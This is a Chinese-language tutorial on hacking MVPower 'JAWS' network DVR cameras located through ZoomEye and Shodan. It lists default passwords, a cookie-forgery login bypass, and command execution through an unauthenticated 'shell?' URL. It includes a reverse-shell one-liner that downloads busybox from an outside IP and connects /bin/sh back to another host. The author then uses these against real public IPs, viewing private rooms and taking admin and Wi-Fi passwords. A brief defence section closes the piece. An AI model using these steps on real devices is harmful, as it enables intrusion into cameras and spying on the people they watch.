使用Zoomeye***網絡監視器
simeon
網絡監視器(IP CAMERAS)在日常生活中越來越普及,交通路口抓取車牌號碼,幼儿園用來監控小孩,社區車牌識別系統等等,這些監視器會跟電腦或者錄影等硬體設備連接,以便進行影像存儲和及時瀏覽。很多監視器還直接跟網絡連接,以方便客戶通過瀏覽器或者用戶端進行連接管理和查看。商家的本意是為了方便用戶進行查看,但很多網絡監視器由於廠商對安全重視不够,***通過科技手段可以很方便對存在漏洞的網絡監視器進行存取和瀏覽,在有些情况下,還可以獲取網絡監視器所在服務器的許可權,甚至可以***進入該監視器所在網絡,危害實在很大。
一、存在漏洞分析
AndrewTierney在其Blog上公佈了一片有關監視器漏洞利用的文章(https://www.pentestpartners.com/blog/pwning-cctv-cameras/)。歸納其覈心如下:
1.存在弱口令漏洞
簡稱為“CCTV”(Mvpower 8 Channel Security DVR Full D1 H.264CCTV Real-time Network Digital Video Recorder Mobile Motion Detection,P2P HDMIAlarm Email for CCTV Surveillance Cmeras System)amazon購買地址http://www.amazon.co.uk/dp/B0162AQCO4,存在弱口令admin密碼為空。收集的其它幾款網路攝像機的口令如下:
(1)海康威視IP網路攝像機:超級用戶:admin,超級使用者密碼:12345。
(2)大華網路攝像機:用戶名:admin,密碼:888888。
(3)天地偉業網路攝像機:用戶名:Admin,密碼:111111
2.登入密碼繞過漏洞
我們可以對之前用默認密碼成功登入的頁面進行抓包,找到處理頁面登入邏輯的js,對處理頁面登入的邏輯分析發現,存在登入繞過漏洞,代碼如下:
$(document).ready(function(){
dvr_camcnt= Cookies.get(“dvr_camcnt”);
iSetAble= Cookies.get(“iSetAble”);
iPlayBack= Cookies.get(“iPlayBack”);
dvr_usr= Cookies.get(“dvr_usr”);
dvr_pwd= Cookies.get(“dvr_pwd”);
if(iSetAble== '0'){
$('#pb_settings').css('display','none');
}
if(iPlayBack== '0'){
$('#pb_review').css('display','none');
}
if(dvr_camcnt== null || dvr_usr == null || dvr_pwd == null)
{
location.href=“/index.html”;
}
系統管理頁面直接通過js檢查cookie是否為空來判斷用戶是否登入。現在竟然還有程式師這樣來寫登入狀態判斷。
於是,通過偽造cookie便可以繞過登入檢查。通過程式碼可以看到需要偽造三個cookie值,dvr_camcnt,dvr_usr=admin,dvr_pwd=123。直接打開http://xx.xx.xx.xx/view2.html時,抓包發現系統會自動設定該cookie參數的值,這個值需要記錄下來,否則後面填錯的話是看不到監控內容的。dvr_usr和dvr_pwd可以隨便設定,只要不為空就好,如圖1所示。保存後,重新重繪一下http://xx.xx.xx.xx/view2.html,便可以成功登入系統。
圖1密碼繞過漏洞
3.直接獲取webshell及其root密碼
圖2獲取webshell
4.獲取反彈shell
執行以下命令:
cd/root/rec/a1 && wget http://212.111.43.161/busybox &&chmod +xbusybox&& ./busybox nc 122.115.47.398000 -e /bin/sh -e /bin/sh,將反彈shell至122.115.47.39的8000埠。還可以執行命令“http://www.antian365.com/shell?/usr/sbin/telnetd-l/bin/sh -p 25”通過telnet目標IP直接進入系統。
二、實戰演練
通過上面的漏洞分析,我們可以對存在漏洞的CCTV網絡監視器進行實際漏洞測試,以驗證漏洞的真實性和掌握漏洞利用方法。
1.確定cctv網絡監視器關鍵字“JAWS”
在kaliLinux中打開bannergrab,填上設備的IP地址和web埠號,banner抓取結果如圖3所示,其中關鍵字為Server後的字串“JAWS”。
圖3獲取關鍵字
2.快速獲取存在的目標服務器
在本例中使用zoomeye進行檢索,輸入地址https://www.zoomeye.org/search?q=JAWS直接進行査詢,也可以使用shodan進行檢索(https://www.shodan.io/search?query=JAWS%2F1.0),如圖4所示,獲取了找到約37726條結果,34263個主機(0.096秒)。
圖4檢索關鍵字“JAWS”
3.隨機對目標進行訪問
在檢索結果中隨機對結果進行訪問,打開http://223.255.146.74/,用戶名輸入admin密碼為空,直接登入系統,如圖5所示,可以查看監控的房間和畫面。
圖5獲取存取權限
4.直接獲取訪問密碼
使用命令“shell?cat%20/tmp/usrm.ini”可以直接獲取訪問密碼,例如http://210.21.34.206/shell?cat%20/tmp/usrm.ini可以獲取默認管理員密碼為空,如圖6和圖7所示。將默認密碼進行修改後,重新訪問,其密碼已經寫入到/tmp/usrm.ini檔案中。
圖6直接獲取管理員密碼
圖7修改後的密碼直接明文保存
5.獲取無線網路密碼
在其網絡設定中可以直接獲取其無線AP的名稱及其密碼,如圖8所示。
6.反彈shell測試
對部分目標進行了反彈shell測試,均為成功,可能是無寫許可權,下載http://212.111.43.161/busybox檔案大概需要100M。
三、防範措施及建議
現時網上已經出現利用該漏洞惡意程式,而官方未發佈相應補丁。用戶可採取以下措施加固安全:
1.修改默認root密碼為其他强健密碼。
2.對外不提供web訪問。或者將地址設定為一個複雜的名稱,使其默認地址不被訪問。
3.對服務器可寫進行嚴格限制。
4.修改默認admin密碼。
參攷文章:
1.http://www.freebuf.com/tools/5950.html
2.http://www.ijiandao.com/safe/cto/5450.html
3.http://www.myhack58.com/Article/html/3/8/2015/64210.htm
4.http://hb.ifeng.com/3c/detail_2014_04/04/2083399_0.shtml
5.http://security.zol.com.cn/443/4439365_all.html
6.http://bobao.360.cn/news/detail/1388.html
7.http://www.myhack58.com/Article/html/2/5/2015/58087.htm
8.http://drops.wooyun.org/category/papers